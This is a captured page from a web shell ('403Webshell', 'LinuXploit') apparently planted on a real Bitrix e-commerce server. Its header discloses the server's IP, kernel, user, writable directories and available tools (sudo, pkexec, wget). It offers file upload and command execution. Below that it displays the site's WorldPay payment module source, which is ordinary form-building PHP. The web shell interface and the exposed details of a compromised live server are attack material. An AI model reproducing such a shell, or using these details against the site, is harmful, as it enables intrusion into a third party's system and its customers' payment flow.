403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/payment/worldpay/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/payment/worldpay/payment.php
<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) die();?><?
$iTestTransaction = CSalePaySystemAction::GetParamValue("TEST_TRANSACTION");
$strYourInstId = CSalePaySystemAction::GetParamValue("SHOP_ID");
?>
<table border="0" cellspacing="0" cellpadding="1" width="100%"><tr><td class="tableborder">
<table border="0" cellpadding="3" cellspacing="0" width="100%">
	<form action="https://select.worldpay.com/wcc/purchase" method="post" target="_blank">
	<tr>
		<td align="center" class="tablebody" colspan="2">
			<font class="tablebodytext">
			<input type="hidden" name="instId" value="<?= $strYourInstId ?>">
			<input type="hidden" name="cartId" value="<?= intval($GLOBALS["SALE_INPUT_PARAMS"]["ORDER"]["ID"]) ?>">
			<input type="hidden" name="amount" value="<?= htmlspecialcharsbx($GLOBALS["SALE_INPUT_PARAMS"]["ORDER"]["SHOULD_PAY"]) ?>">
			<input type="hidden" name="currency" value="<?= htmlspecialcharsbx($GLOBALS["SALE_INPUT_PARAMS"]["ORDER"]["CURRENCY"]) ?>">
			<?if (intval($iTestTransaction) > 0):?>
				<input type="hidden" name="testMode" value="<?= $iTestTransaction ?>">
			<?endif;?>
			<input type="hidden" name="desc" value="Order #<?= intval($GLOBALS["SALE_INPUT_PARAMS"]["ORDER"]["ID"]) ?>">

			<!--  order properties codes ->  -->
			<?
			$arTmp = array("name" => "PAYER_NAME", "tel" => "PHONE", "email" => "EMAIL",
					"fax" => "FAX", "address" => "ADDRESS", "postcode" => "ZIP",
					"country" => "COUNTRY"
				);
			foreach ($arTmp as $key => $value)
			{
				if (($val = CSalePaySystemAction::GetParamValue($value)) !== False)
				{
					?><input type="hidden" name="<?= $key ?>" value="<?= htmlspecialcharsbx($val) ?>"><?
				}
			}
			?>

			<input type="hidden" name="MC_CurrentStep" value="<?= intval($GLOBALS["CurrentStep"]) ?>">
			<input type="submit" value="Submit to WorldPay for Payment Now" class="inputbutton">
			</font>
		</td>
	</tr>
	</form>
</table>
</td></tr></table>

Youez - 2016 - github.com/yon3zu
LinuXploit